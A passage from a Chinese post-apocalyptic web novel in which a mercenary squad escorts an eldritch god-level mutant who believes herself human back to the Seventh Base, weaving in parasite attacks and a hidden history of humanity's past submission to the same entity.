什么?!人群一阵骚动,能进入指挥室的都是基地有头有脸的人物,全员隔离意味着基地的一半机能瘫痪。祂的影像明明已经经过处理,还存在足以远距离污染的危险吗?!
“让你们的副官顶上。”虞零面无表情,“祂吸收了辐射,‘领域’扩张,污染范围扩大。”
“各位,做好化身邪神眷属的准备。”为了缓解气氛,她开了自己并不擅长的玩笑。
效果很好,疏散速度直线上升。
*
祂行入荒城,雇佣兵小队作为“饵”的使命便结束了。
她们行走在只有脚步声回荡的防空通道中,没有一人说话。
郁七落在最后,按照原本流程她应当接受二次检测,确认没有被祂深度污染才能撤离,可时间紧迫,研究院最新研发的检测仪也被祂毁坏了,她被破例允许跟随,但须和她人保持安全距离。
对此郁七并不在意,即使没有这个意外,她也不会和别人走得太近。
她低头看自己的手,回想和祂接触的那一瞬间,身心由内到外的战栗。
对祂而言,毁灭远比守护容易,可祂没有那么做。
这样一个存在,真的会伤害她们吗?
一束刺眼的白光打到她脸上,对面扬声道:“郁七?”
郁七下意识退回黑暗中,低低应了一声。
她们已经到通道尽头了,全副武装的士兵簇拥着方才照射她的人。
“我是军区的总指挥,情况有变。”对面推来一个箱子。“里面是能完全隔绝辐射的防护服,你们换上,继续陪在‘祂’身边,不要露馅。”
这句话的信息量太大,队员们面露惊骇。
其他队员还在消化,秋十率先上前一步:“长官,这是让我们去送死。”
她们方才不告而别,很可能已经激怒了祂,如今又折返,岂不是瞌睡送上枕头。
秋十不敢想象暴怒的祂会怎样对待她们,像炭烤肉笼那样把她们串成一排香肠吗?想到那个画面,她不禁打了个寒颤。
总指挥压了压军帽,帽檐下的义眼转向郁七:“祂的领域已经蔓延到了这里,你有感觉到什么吗?”
郁七一怔:“……没有。”
旋即她意识到什么,睁大了眼睛。
这说明,至少目前为止,祂对她们并无恶意。
*
烟雾弥久不散,柯雾踩着彩带和那炮衣糖弹的碎片,在城内游走。
她好像陷入了一个玫瑰色的梦境,到处是甜得发腻的香气。
路上大多是造型各异的枫糖色房屋,有的没了屋顶,有的从中间断成两半,有的只剩下地基,唯一的共同点是散发着焦糖芬芳,看着脆脆香香的。
柯雾的味蕾得到了满足,心却没有,微妙的不安感围绕着她。
“她们去哪了呢?”
5. 夏日焰火
祂的领域扩散至整座荒城,凡目力可及之处,都晕染着独属祂的迷离色调。
郁七作祈祷状,紧闭双眼,静静地感受祂。
在她的感知中,生命的意念以波荡的形式存在,如队友们散发的是微小的涟漪,时常被祂的海浪倾盖、颠覆。
一旦祂产生恶意,那浪涛便会汹涌地将郁七的所在淹没,所幸祂并无此意。
如今祂的本体在领域内漫无目地游荡,周身波涛忽起忽落,没有方才平稳,让她有些担心。
“如何,能出去吗?”她观测的时间太久,队友们不安起来。
“我先去吧。”郁七看向温九,“没问题再通知大家。”
她的眼神很坚定,温九没说什么,只是与她靠在一处,用异能帮她舒缓紧绷的神经。
*
柯雾的耐心将要告罄之时,拐角出现一个身影,粉雾中不甚清楚,她警惕地按上折叠刀。
“您……您还好吗?”一个女声怯怯地道。
有点耳熟。
她穿过迷雾,在柯雾面前站定。
“郁七?”柯雾的手松了松,但始终握着刀把。“怎么只有你,其她人呢?”
“你……”柯雾愣了愣,“换衣服了吗?”
荒原污染严重,基地人出城都要装备防护服,外形类似柯雾印象中的消防服,只不过变成了纯黑色。如今郁七身上的防护服被一件臃肿的宇航服取代,黑白相间的,加上她摇摇晃晃的身形,让柯雾幻视了一秒雪地蹒跚的小企鹅。
她压下嘴角笑意,面上仍是严肃。
郁七:“是、是的,这件也是防护服……”
懂了,防护plus版。
“所以那个糖果炸弹是怎么回事?”
“糖果……”郁七迟疑起来,片刻后,她磕磕绊绊道:“是、是因为庆典的关系……”
“庆典?”
“就、就是,”郁七嗫嚅道,“基地成立的周年纪念日……”
?柯雾想起队长科普过,三十年前基地成立,这么巧赶上周年纪念吗。
“但这里不是基地……”郁七不再与她对视,而是退后两步,“这里是基地墙外的驻点之一。”
“您、您的污染指数过高,不能直接回基地。”
“需要、需要在赖城进行彻底地净化……”
越说越小声,柯雾看着面前不住颤-抖的女孩,一时无言。
突然,她脑海浮现一张张笑脸,“荒原上会出现气球,也是因为庆典?”
“气球?”郁七眼神茫然,“您是指……好的,我明白了。”她晃了晃脑袋,“我想、是的。”
“我接受治疗。”回想那个莫名失效的机器,柯雾勉强接受了这个说法,松开刀把。“但你们不能就这样抛下我啊,至少让我知道发生了什么。”
“对、对不起。”女孩仍是颤-抖,水汽漫上眼眶,她鼓起勇气直视柯雾:“不会有下次了。”
“我、我保证。”
柯雾摆了摆手:“其她人呢?也去换衣服了?”
“算了。”柯雾想了想,她这个情况估计也不方便见人,“那你是来带我去隔离的吗?”
她不太清楚什么是污染,但按照常识,被病毒感染了要隔离,污染应该也差不多?
郁七面露挣-扎,良久才道:“……是的。”
*
人在危机关头总能爆发出超乎想象的潜力。
不善言辞的郁七没想到有一天她会向一位神级异种撒谎。
一个谎言往往需要更多的谎言佐证,她硬着头皮带着祂去往地下避难所。
这座破败的人类都市名为赖城,在二次污染的初期被深海异种入侵,人类不敌,退守地下防空洞。后来基地建成,赖城就慢慢荒废了,只有外出执行任务的雇佣兵会在来不及回基地时,将其当做据点。
祂跟在郁七身后,蠕动着即将流入地下。
与此同时,郁七接收到某种信号,大脑传来针扎的剧痛,她极力喊出一句:“小心……!”
巨大的轰鸣声不期而至。
轰炸机不知何时下降到了祂的领域内。祂疑惑地望着那点发射炮弹的黑影,歪了歪头。
*
“311,请停止攻击,立刻返航。”
“311,请停止攻击,立刻返航。”
……
无人应答。
虞零沉着脸色,接通朱肆的线路:“你投喂上瘾了?”
按照规定,a计划失败后指挥权移转给虞零,空兵却不听令,擅自进行了攻击。
那头传来粗重的呼吸声,“不是我的人,有寄生种入侵。”
朱肆一边回答虞零的质问,一边干脆利落地卸掉手下的胳膊。
她的后背血肉模糊,镶嵌着八个冰凉的铁环,机械爪从铁环中伸出,掀开手下的面罩,精准地捏爆那只趴在男人耳朵里,正噗噗产卵的荧虫。
“研究院的检测仪可真准。”她语带嘲讽道,“连吃脑子的荧虫都能在起航后发现。”
荧虫,三/级异种,和喜蛛一样,是一到繁殖季便危险翻倍的异种。最要命的是它们微小如尘,只有在产卵时腹部隆起,才会达到正常虫子的大小。
肉眼极难发觉,由于非产卵期几乎没有污染度,检测仪也难以识别。
据朱肆说,担任投弹任务的飞行员之一在起航前便被这个手下感染了。而这个手下是某个高层硬塞进来蹭军功的二代,出发前的检测草草了事,直到她发觉男人举止怪异,强行给他做了一遍深度扫描才查出寄生种。
“荧虫……”虞零拧了拧眉,一阵不协调的怪异感涌上心头,通过秋十传回的任务报告,她知道她们还曾遭遇喜蛛和肉笼。喜蛛穴居,肉笼热衷打洞,都不是荒原上经常出没的异种。而荧虫,这种寄生人体,幼虫喜食脑髓的异种是在禁-区发现的,从未有过外围荒原的活动记录。
异种最是弱肉强食,按理而言一般的异种远远看到祂的领域就该逃之夭夭,为什么它们要飞蛾扑火自取灭亡呢?
难道祂身上有什么吸引它们的东西?
“喂。”那头不耐烦的声音打断了她的思绪,“你能‘遥控’他吧?”
朱肆指那个被深度寄生,飞在天上乱投导弹的
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倒霉蛋。
虞零是精神系异能者,能在一定程度上左右她人的想法,但她没有试过操控被寄生的人类。
通讯器响个不停,看了眼内容,她揉揉太阳穴道,“恐怕用不上了。”
*
柯雾扶住无法支撑的郁七,身边不断有糖果落下。
不知是不是庆典主办方见粉雾要散完了,试图给这空荡的街道添上几分节庆气息,再度空投发糖。
她无所谓,但怕郁七被砸到,伸手尽可能地接下了。
胡乱将糖果塞进口袋后,她将郁七扶到路边坐下:“你还好吗?”
女孩冷汗津津,眼球颤动,死死地抓着自己的防护服,仿佛在承受极大的痛苦。她的瞳孔映出一点下落的黑影。
嗯?
柯雾顺着她的目光看去,一个人影正乘着降落伞悠悠下落,身后是悬空片刻后扭头返航的轰炸机。
这人像游街npc,就是庆典上那些穿着玩-偶服表演、和人合影发糖的npc。他身上的防护服破破烂烂,裸-露的部分涂满荧光迷彩,头上套了一个苍蝇头套,两只灯泡一样的红色复眼对准柯雾。
好烂的品味。
柯雾皱眉,要是全变苍蝇她也不说什么了,不上不下的她恐怖谷都要犯了。
加之郁七抖得厉害,柯雾对苍蝇人没什么好感,扶着她就想离开,偏偏npc拦在路上,对着她挥舞烟花棒。
“让开谢谢。”看在对方勉强还算个人的份上,她礼貌道。
“咻!”
那根顶端闪烁着火花的细棒旋转着朝她们飞来,柯雾单手挥出折叠刀,将其斩于三步之外。
她肯定这不是表演的一环,纯粹是对方恶作剧。
苍蝇人不甘失败,索性将手上的烟花全投出。但柯雾快他一步,刀身劈去,在他手腕处猛地一拍,震掉所有烟花,旋即刀尖向上一挑,卡在他头套的边缘。
苍蝇人顿时一僵。
“你的工号是多少,我要投诉。”
他不说话。
柯雾向来秉承“人不犯我,我不犯人”的原则,感到怀中的郁七体温居高不下,她对碍事的苍蝇人愈发不满。
他不说,她自己看。
刀尖挑破头套,里头大团的雪白棉花暴露在空气中,糯糯晃动。
那颗硕大的苍蝇头颅就这么被柯雾一点点割下,头套下是一张平平无奇的路人脸,眼神呆滞。
原来是个傻子。
*
郁七意识昏昏沉沉,她模糊不清的视野中,白-花花的虫卵喷涌而出,恍惚间以为棉絮随风飘舞。
她窝在祂半凝固的本体中,就像夏日浸没在阴凉的水池。
看到那虫卵还未落下,便被领域内延展的阴影尽数吞噬,她露出一个真心实意的笑容。想起情急之下的谎言,又想到仍在地下焦急等待的队友,她不舍地从祂怀中起身。
拿出防护服夹层的信号弹,她借着手雷落地引发的大火,将其点燃。
“我给您……放一场真正的烟花。”
信号弹呼啸着冲破云层,在昏暗的天空中璨然绽放。
6. 我,异能者
“外边动静不对。”秋十走到温九身旁,“不是说停止攻击了吗?”
“而且,”她瞥了一眼紧闭的审讯室,门口持枪的卫兵跟树桩似杵在那半天了,一动不动的。“那位长官带人进去后这么久都没出来,不会出事了吧?”
她们此时在离城不远的地下。
本来地面上是一个废弃的旧机场,原计划是由基地安排的直升机接走她们,时移势易,小队只得先安顿在军队的地下据点。
温九没有第一时间回话,她正通过朱肆给的纳米机器人监控外头的情况。
除了这个地下据点,军队还里三圈外三圈地布置了各种侦察兵,当然,是在保持安全距离的前提下。
祂的领域不可观测。但郁七携带的信号弹升空高度在领域之外,只要祂不阻拦,盘旋在高空的胡蜂型机器人便能捕捉到求救信息,传回给她们。
秋十伸手在她面前晃了晃,温九回神,“你觉得祂会伤害她吗?”
秋十:?
她问的是这事吗?
“不至于吧,小七……那么怕人,却不怕祂。更何况祂还认为自己是人,正常人都不会伤害同伴吧?”秋十回忆遇见祂后经历的种种,惊觉祂还真没动过她们。至于精神攻击,呃,这个,是她们太菜了。
不过有一点她非常在意,“你有没有发现,认识祂越久,接触越深,越能平常心对待祂?”
所谓平常心不是真的把狮子当作猫咪,而是能在祂的威压下维持正常思考的能力。
人们把被污染后仍能保留自我意识、觉醒特异能力的人类称为异能者,称她们是天选的进化者、新人类,是战胜污染的斗士。
然而实际上异能者后期因污染指数突破安全线,异化为异种的不在少数。
尤其是越频繁地使用能力,她们体内本已稳定下来的污染因子越容易紊乱。
每当这时候,她们又会沦为人人喊打的异类,除非有高级治疗师长期、深-入地进行治疗,否则唤回意识的可能性接近于零。
治愈系异能本就罕见,能达到高级治疗师的异能者更少,基本集中在前几个基地,这也是异能者向上聚集的原因之一。
同祂这样量级,大范围散布精神污染的异种待在一起这么久还没疯,甚至有些时候总错觉祂是站在她们这边的,本就非同寻常。还是说其实她已经疯得厉害才有这种幻觉?
根据防护服显示的数值,自遇到祂后,她们的污染指数节节攀升,最终卡在一个不上不下的微妙位置。
她们并没有因污染过高失去神智,甚至因为污染指数上涨,异能者如温九的能力更容易使用了。
“有。”温九总算正视了她的问题,“可惜关于神级异种的记录太少,我没有在数据库搜索到有用的资料。”她转了转手环。
“你还搜了。”秋十不住地戳她肩膀:“意欲何为啊。”
温九假装没听到,拉下她的手:“我去看看小七怎么样了。”
小队对祂的感官很复杂。
毕竟被一个遇事就上、全程在c,还待人亲切、没有架子的大佬带飞是多少雇佣兵梦寐以求的。
要祂真是所谓的荒野猎人,小队一定会邀请祂加入基地,成为她们的一员。
所以听到计划有变时,队员们隐秘地生出一丝庆幸。
秋十还想再调侃她两句,身后那扇紧闭许久的门打开,朱肆带着一身血腥气经过她们。
“来做检测。”
两人不明所以地跟上,一旁围在一起打牌的三个男人也赶紧收了牌组附上。
在医疗兵仔细检测的空档她们才得知,军队出现了寄生种,轰炸机驾驶员之一被寄生,遵循异种本能进犯祂的领域。
队员们顿时为郁七的安全着急,刚通过检测的温九立马查看监控,正好赶上郁七释放信号弹的一幕。
几颗脑袋凑到巴掌大的屏幕前,围观了那束焰火升空。
绚烂的烟花在空中绽开,落成一个大写的“KO”,这是表示完全安全,安全到无聊才会升起的恶搞信号弹。
由于价值不菲,平时基本压箱底,每年只有纪念日的集会上几人才会拿出来对放着玩。
温九给郁七整理行囊时顺手塞了一个,本意想让她轻松点,结果还真用上了。
“我还没说完。”朱肆无奈道,“祂已经解决了。本来这种高危异种对侵入领地的生物都会呈现极高的攻击性,不必担心。”
只要别把这入侵算人类头上就好。
“可是长官,”秋十幽幽回头,“难道我们不算‘侵入领地的生物’吗?”
*
柯雾久久注视着转瞬即逝的焰火,记忆深处掠过似曾相识的一幕。
姐姐在远处呼唤她,她回头时流星一般的焰火划过夜空。一身风衣的女人坏笑地走来,把兜里冰凉的手贴到她脸上,不住揉-捏自家妹妹脸颊的软肉。
姐姐呼出的白汽模糊了她的视线,只记得绚烂的焰火在女人身后绽放,她含糊不清地问姐姐:
“这是为我放的吗?”
“这是……”她不确定道,“在跟队长她们报平安?”
“是的,等会她们会来接我们。”
郁七熟练给自己打了一阵精神修复剂,她看上去已经恢复得差不多了,似乎这种疼痛对她而言是家常便饭。
她走到那个神游天外的男人身后,给他来了一针麻醉,将他轻轻放倒在平缓的地面上。
“不是说我被污染了吗?”柯雾有些糊涂了。“不隔离了?”
郁七眨眨眼,她指了指男人身下残留的一缕棉絮:“在您眼里,那是什么?”
柯雾走过去,扯出丝丝白棉,它们轻飘飘的,没有一点重量,迎风便散了。
“棉花。”她笃定道,心想这难道是某种心理测试,多添了几句:“用于填充玩-偶头套,看起来蛮劣质的。”
郁七若有所思,又指向破破烂烂看不出原样的苍蝇头:“这是头套吗?是什么造型的呢?”
柯雾:“苍蝇的,被我割坏了……”应该不用赔吧,真算起来对方先动的手,作为正当防卫的受害者,她都没投诉呢。
“不对吗?”看着
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低头沉思的郁七,柯雾不免有些忐忑。
“不,不是。”郁七被惊醒般,忙摆手,“我是在想,能不能给您申请异能者鉴定。”
“异能者,我?”柯雾一脸不可思议。
当初队长那句“没准您已经进化了”,她以为只是一句打趣,毕竟她没觉得自己有什么变化。一定要说的话……胃口变大了?
这是什么异能,吞噬系吗?听起来没什么用,还会狠狠地伤害钱包。
柯雾想到还未加入基地便已欠下的能量棒,不由悲从中来。
“异能者有补贴哦。”郁七小声道,“有额外的配给,有申请单人间的资格,能接报酬更高的任务……”
*
朱肆叮嘱她们“一切如常”,小队便开着停在墙外的面包车入城。
转过某个路口,看到郁七站在开裂成两半的虫巢旁,不远处还躺着一个生死不明的男人,若无其事地同祂对话,队员们不禁倒吸一口凉气。
小七居然和别“人”有说有笑,这和祂也看上去心情愉悦相比,不好说哪个更惊悚。
男人是被寄生的驾驶员,这一点她们出发前已被告知,只是没想到被深度寄生的人类还能活下来。
尤其在男人处于癫狂状态,将携带的武器尽数投出,可能惹恼了祂的情况下。
她们瞧着一地的手雷碎片,猜测至少发生了一场单方面的恶战。
不知道祂用了什么手法,精准地绕开了荧虫寄生的部分,拔除了盘踞在男人头上汲取脑髓的虫巢。
那些肥白的虫子被甩出虫巢,落入祂本体的阴影内,一阵令人头皮发麻的咀嚼声后,天地恢复了清净。
郁七和祂上车,昏迷不醒的驾驶员留在原地,由军队回收。祂对此没有异议。
司机王二眼神询问众人:还回基地?
郁七比划:回的。
祂施施然落座,领域笼罩小面包,暗含期待的目光落在前座。
王二只得任劳任怨开车,这次一路顺风,再没有妖魔鬼怪挡道。
队员们满腹疑问,又不敢去问,只能熬到下一次停车休整,趁祂下车放风时才又聚到一处。
郁七拿出早已准备好的报告,碰了一圈队友的手环,这是通讯器的无线传输方式。其实已经有了一定信号,但避免万一,队员们还是习惯面对面打字。
阅读完报告,她们眼神复杂地望向郁七。
郁七没有躲开或不解或略带责备的目光,尽管还是有些不适应地揪住防护服下摆。
无声地对峙后,队员们败下阵来。
只是此事事关重大,秋十找机会出领域禀告基地,温九则翻出集资买的二手检测仪,聊胜于无地再度检测郁七的精神状况。
*
虞零一直盯着311轰炸机的动向,收到被寄生的驾驶员跳伞进入领域这一消息后,她就知道无论结果如何,都不是人类能干预的了。
于是她远程操作了311,令其自动返航。随后攥着通讯器,敲响了总长的房门:
“您是不是早就知道会发生什么?”
7. 圆圈历史
房门开启,一条半枯的藤蔓滑走,缠回总长的手腕。
她戴着老花镜,坐在病床上处理公务。
总长是生长系异能,当年创立基地时过度透支异能,长年处于异化的边缘,即使接受了治疗师的治疗,身体的一部分也永久地化为了藤蔓。
从一线半退隐后,她的兴趣转移到著书立说、教书育人上,虞零有幸成为学生之一,但她不敢说对这位老师的了解比旁人更多,至多是私下里随意了些许。
总长示意虞零落座,对她的疑问只字不提,而是道:“与祂接触的雇佣兵中,有一个精神系的孩子。”
“她提交了一份任务报告,试图证明祂的无害和……益处。”
虞零正替老师端来治疗师开处的药方,闻言手上动作一顿。
“在那份报告中,她指出小队的异能者同祂接触后污染指数稳定增长,却不至突破界限异化,只是使她们的异能保持在更容易激发的状态,这显然与神级异种的污染能力不匹配。”
“她推测对人类怀抱善意的神级异种能在污染的同时使人类保留神智。”
“她声称从前能力残缺、只能感知到恶意的她,在与祂深度接触后,逐渐能感知到祂的友好,并能同祂进行几乎无障碍的交流。”
“因此她恳求基地重新评估祂的危险度,在无法消灭祂的情况下,或许可以采取迂回的手段让祂为基地所用。”
“——这让我想到过去。”
总长接过药片,平静地吞服。
她没有配水,而是直接吞下,等那点苦涩完全消化在食道,才淡然开口:
“我本来以为再也见不到祂了。”
虞零掩去眼中震惊,低头,恭谨地扮演合格的听众。
“祂的自我认知是人类?”
虞零知道这不是疑问,而是强调,严肃应道:“是。”
“坚定不移?”总长露出一丝苦笑,虞零几乎以为自己看错了,稍显迟疑:“……是。”
“三十年前,二次污染爆发,异种潮席卷第一基地。”她陈述着一个广为人知的事实,又轻轻抛出一个罕为人知的真相:
“在那之前,基地不曾分立。幸存的人类臣服在一个异种的统治之下,借助祂的庇护重建家园,天真地以为复兴文明的辉煌指日可待。”
“直到祂失去过家家的兴致,降下毁灭的怒火。”总长像在讲述什么神话故事,语调迟滞。“第一基地受到严重破坏,近一半的异能者被污染异化,失去战斗能力,以致无力应对日后爆发的异种潮。”
“那之后祂弃人类而去。无论灾难来临时我们如何祈祷,都不曾回应。”
虞零一动不动,此前她从未听闻这等历史。
二次污染爆发前,人类的确聚居在第一基地,因为异种潮摧毁了第一基地大部分建筑,导致废墟的污染指数至今居高不下,第一基地的核心才被迫转移到天空城。
而天空城能容纳的人口太少,以过去分布在世界各处的研究所为基础,人类陆续成立了其余的六-大基地。
这才是虞零熟知的历史。
可细想起来,异种潮席卷基地前,也即污染第一次全面爆发时的历史,教科书确实语焉不详,常以污染初期社会混乱、记载逸散为由一笔带过。
而基地的伤亡率向来居高不下,人事更迭,尚存于世的老人也鲜少提及过往之事。她们撒了同一个谎,用来掩盖人类曾将希望寄托于异种的耻辱。
总长略显疲惫地关掉显示屏:“我不知道祂为何再度降临,许是心血来潮,许是……为了彻底地毁灭。”
“从前祂也时常陷入沉睡,再度苏醒时,会有一段虚弱期。”
总长没有展开下去,而是给出了明确指示:“不要放弃杀死祂。”
“所以其她基地……?”虞零想起她们推三阻四的态度,敢情其余的基地总长也知道这尊大佛重返人间,在拿她们第七基地当小白鼠,试探祂的态度。
虞零眉头跳了跳,压下心头怒火。“可净化程序对祂无效,我们下一步……”
“小虞啊。”总长很少打断她人的话,虞零当即噤声。
“你的异能评级晋升了吧。”
又一句强调。
“你给我描述过精神系眼中的世界。”总长拨弄着蜷缩的藤蔓。“生命的意念是不同幅度的波荡。而你能改变水波的流动。向东还是西,在你一念之间。”
虞零悚然一惊。她确实能做到细微的影响,但那是在同一量级下。
奔涌的江河没入本就浩荡的大海,和一滴水滴落深潭没有区别,不会有比一圈涟漪更多的效果。
她下意识要拒绝,老师的手却抚上她的发顶。“不是现在,也不只有你。”
*
第七基地建立在宽广无际的平原上,由三重高墙围护,高墙之间属于外城区,是预防污染爆发的缓冲带;高墙中心是内城,基地居民生产活动的区域。
铁灰色的城墙遍布隐匿的激光武器和远距离扫描仪。和作为临时据点的赖城不同,没有专人把守检测,进城的车辆行人会在通过城门时放缓速度,等一个个游离的红点照射又消失。
消失代表着污染指数低或无污染,可以直接进入内城区,若红点没有消失,而是停留在了身体的某一处,则说明此人的污染程度不宜入城,须在外城区进行净化。
柯雾的情况有些特殊,虽然检测仪呈现的污染指数过高,但没有失去神智,也维持着人类形态,疑似是成功进化的异能者,作为亟待鉴定的特殊人士,一同被安置在外城区。
她在隔离室接受专家的问询。隔离室干净狭窄,透明玻璃隔开两个空间,她在这头,专家在那头。
负责她的专家是名年轻女士,全副防护服武装,只有一双沉静的绿色眼眸显露在外。
开头问了些基础问题,柯雾语焉不详地带过,好在荒野猎人的身份给予她诸多便利,对方一听她没有加入过任何基地,靠实力流浪荒原,便没有再过多盘问,只是让她过后把信息补全,好办理身份证明。
而后专家仔细询问了她们一路的经历,纵使柯雾不解这些琐碎日常有什么值得记录的,仍是逐一道出了自己的所见所闻。
不知是不是近乎密闭的隔
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离室太过憋闷,专家在记录的过程中时不时像故障的机器那般卡壳,需要柯雾善意的提醒才意识到失态。
柯雾的鉴定结果很快出炉。
根据专家的介绍,异能者的能力参照异种序列,按一到十级划分,但实力强大与否并不与排序直接挂钩。
例如专家自己就属于精神系、控制倾向的异能者,她这样的异能者天生晋升困难,且每越一阶,污染程度提升的幅度也远超同系,因此即使她的评级只有五级,拥有的实力也远在五级之上。
柯雾被认定为初级异能者,属性不明,倾向不明。这不意味着她能力弱小,相反,可能是在基地标准之外的强大。如果她愿意留在第七基地,基地会为提供她必要的生活物资和作为异能者的系统培训。柯雾听得耳朵发烫,一口应下了。
结束的时候,她和专家都不约而同地松了口气。
*
“……请等等!”虞零追着祂逶迤离去的背影,胸口起伏不定。同祂共处一室的压力仍未消退,但作为精神系异能者,她还是比同事们有更多的余力。
祂在空地停下,本体色彩变幻不定。
【医生?】祂这样称呼她,【还有什么事吗】
虞零极力分辨其中的情感,但祂对她始终存在一丝戒备,不容抗拒地推开了她的波纹。
她在心底苦笑,面上却不显:“您现在还不能前往内城。”
第七基地的居民还未做好准备。
“身份办理没有那么快,在那之前要委屈您在外城区待上一阵……”
在祂的注视下,她艰难地补上剩余的话:“作为补偿,基地为您准备了宽敞的空屋和一定的交易点……”
【交易点?】
祂的防卫稍显松懈。【基地的货币?】
祂对人类社会是如此了解,结合老师吐露的真相,虞零呼吸一时不畅:“是的。”
她拿出一个特制的手环,由于不确定祂会以何种方式佩戴,手环用了可变形的材料制作。“这是通讯器,录入了您的身份资料,在基地的通讯和交易都要经由通讯器,此外还有一些娱乐功能。”
祂的领域自入城时便如暴雨前的乌云翻滚延展,直到覆盖外城区的每个角落。外城区的污染应对装置被强制关停,以免引起祂的敌意。
祂的本体未做表示,只有领域中的阴影蜿蜒而至,虞零将手环轻轻放在那骤然伸出的漆黑中。
散发微光的人类制品被吞没。
不会被吃了吧……这个念头刚像露珠滑落,虞零便因另一声低呼回神。
“……导师?”那个有些局促的声音道。
卸下防护服,身着常服的少女从阴影中走出。
虞零在教研中心挂有教职,尽管授课的时间不多,但上过她课的学生都会尊一声“导师”。
她不记得自己有教授过面前的女孩,更多的是对女孩暴露在污染之下的担忧,随口应了声,准备将她带离。
“导师,我是郁七。”女孩的一句话却让她定住。
郁七朝虞零笑笑,又侧了侧身,没有回避,直直地向祂走去。
8. 夹缝之间
柯雾摆弄着形似玉镯的通讯器,和她记忆中薄如纸的高科技手表不同,基地的通讯器颇有质感,转动便会弹出悬浮的窗口。
基地贴心地在通讯器内内置了小队的联系方式,柯雾试图拨通其中一个号码,却被弹出的好友申请打断。
【用户“不期”请求添加好友(通过联系人推荐添加)】
柯雾睁大了眼睛,不怪她惊讶,面前的女孩穿着宽松的兜帽衫,有些不安地揪着帽绳。
“……可以吗?”
“当然。”柯雾通过了郁七的申请,顺手备注【小七】。“外城区有污染吧,不穿防护服没关系吗?”
“没关系的。”
柯雾感到郁七的状态有些异常,她的瞳孔微微发散,边缘渗出星星点点奇异的虹色。
难道像队长那样,是使用能力的异状?
“打扰了。”清凌的女声插-进她们的谈话,被晾到一边的专家不动声色地挡在郁七面前,歉意地对柯雾道:“我有些话和她说,可否借用一些时间?”
“……”被遮住的郁七想要探头,但被一拥而上的警卫制住了。
柯雾觉得这一幕有些眼熟,可她不明白,她身上污染的可控性已经被眼前的专家盖了章,为什么她们还如此警惕?
后脑勺一阵刺痛,她按了按太阳穴,以不怎么和善的口吻道:“这应该让她自己决定吧?”
现场一时陷入死寂。
“郁七。”专家回头,绿眸对上闪烁的黑眸,“可以吗?”
女孩的眼神空白了一瞬,但她没有立即回答,而是挣-扎着转向柯雾,乞求之色显而易见。
柯雾:“有什么话在这说吧。”
专家无法,只得凑近郁七,在她耳边低声说了些什么。
柯雾耐住好奇心,自觉站远了些,以表无意偷听。
她实在无事,索性继续研究手环,转动间许多页面弹出,看得人眼花缭乱。默认的用户名是一串数字,柯雾改成了自己的名字,好久没打字,指尖敲击的动作都变得滞涩,就在打完字的瞬间,眼熟的窗口梅开二度弹出。
【用户“温酒”请求添加好友(通过联系人推荐添加)】
温九?
柯雾知道小队的污染指数也是不能进内城的程度,但她们是分开安置的,队员们被带去隔离室净化。既然郁七出来了,其她人是不是也完成净化了?
她通过了好友申请:【队长?】
【是我。】停顿片刻,【郁七是不是来见你了?她不愿意接受净化,连防护服都没穿就跑出去了】
【可以帮忙劝一下她吗?我还在隔离室,没法直接去找她】
柯雾蹙眉,她抬头看向专家,她们已经说完了话,郁七脸色苍白,同她的眼神相撞,躲闪着低下了头。
“实在抱歉,这边接到通知,需要带她去净化。”专家上前一步,柯雾却没理睬,而是看向郁七。
“你有什么话要和我说吗?”
郁七专程来见自己,柯雾自然不能让她不明不白地被带走。
专家守在一旁,郁七眼神空洞,过了一会儿才道:“……名字。”
名字?
她闭上眼睛:“我还不知道您的名字。”
诶?
此言一出,不仅是柯雾,连专家和警卫的神情都变得莫测,显然都没想到她费老大劲跑来就为了这个。
“我跟队长说过了。”这么一想,好像是没有正式介绍过。
柯雾指了指手环,“我改名了,上面是我的真名,你叫我小五也行,我小名是这个,正好也凑你们数字小队。”
她开玩笑般道。
气氛松弛下来。
*
郁七抚着心口,默念了几遍祂的名字。随后她被强行带离了现场,虞零面露愠色,亲自给她做检测:
“无论你是不是我的学生,我都希望你把自身安危放第一位。”
郁七一言不发地低着头,直到检测仪显出数值,才突兀地开口:“您看过我的报告了吗?”
“看过了。”虞零瞥了眼数值,口气缓和些许:“你的观点具有可行性,基地正在筹划相关的行动方案。”
郁七的眼睛一下亮了,不住地摩挲手环。
同时间,隔离室响起刺耳的警报声,红光大放,打在二人脸上。
虞零没什么表情地收起检测仪,“你的污染指数达到临界点,需要进行认知测试。”
临界点。郁七抿了抿唇。
这意味着两种可能:
一,她具备了晋升的条件;
二,她即将堕/落为异种。
*
柯雾跟在队长身后,给她安排的临时宿舍位于较为偏僻的区域,专家走之前怕她找不到路,特意让刚结束净化,姗姗来迟的队长带她去。
外城区夹在两道城墙之间,街道窄小,建筑低矮简陋,摩肩接踵挨着。隔离室所在的医疗中心灯火通明,这些房屋却昏暗无光,看不出是否有人居住。
想到一路上也是没几个行人,柯雾不禁问道:“第七基地的居民很少吗?”
“外城区是比较少。”温九手环闪了闪,她瞄了一眼。“一般净化完成的居民会直接进入内城,深度污染的人留下,等其她基地的治疗师巡诊到第七基地救治。只有医务人员会长期驻扎外城。”
柯雾点了点头,关注点转到别处:“我的身份证明什么时候能办好?”
她还想看看能不能接点简单的委托,总不能坐吃山空。
“至少一个周。”不知想起什么,温九真情实感道:“七基的办事效率慢得像乌龟,戳一下动一下,不戳就跟死了一样。”
柯雾被逗笑了,“在那之前可以领委托吗?”
“委托?”温九讶异地看了她一眼。“可以找找手环的交易板块,委托一般在上面发布。”
“不过……”温九字斟句酌道,“奔波了那么久,不先休息一下吗?”
“会休息的。”柯雾眨了眨眼,“吃饱喝足再干活。”
温九忍俊不禁。
谈话间,她们步入一栋环形建筑。
一座抽象主义雕塑矗立在建筑正中的空地上。材质光洁,形态扭曲勾结,像莫比乌斯环,又像数个泡泡相互粘连,柯雾不由多看了几眼。
“外城区具备居住条件的房间集中在医疗中心,这里是医务人员的宿舍,不过一般她们都在医疗中心,这边有些荒废了。”
建筑的外墙泛着灰黄,水泥地开裂的缝隙钻出几根杂草,回
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应温九的话一般在微风中摇头晃脑。
“房间号是……”温九查看通讯器,随后朝直径的另一端走去,“这边。”
柯雾迈步跟上,余光间那雕塑光滑的切面上有什么东西一闪而过,等她回头,又无迹无踪。
“怎么了吗?”
“没什么,可能眼花了。”柯雾收回目光,快步跟上。
她的房间在最顶层,螺旋阶梯的尽头。环形建筑的住房是一个个格子间,唯独顶层是一整个打通的环层,基地慷慨地把这一层都划分给了柯雾,令她十分感动,决心到时候多接点利基利民的委托。
温九要赶末班车返回内城区,让她有什么事通讯器联系,柯雾乖巧应下。
房门一关,她迫不及待地转动手环,一个个窗口寻找交易板块。
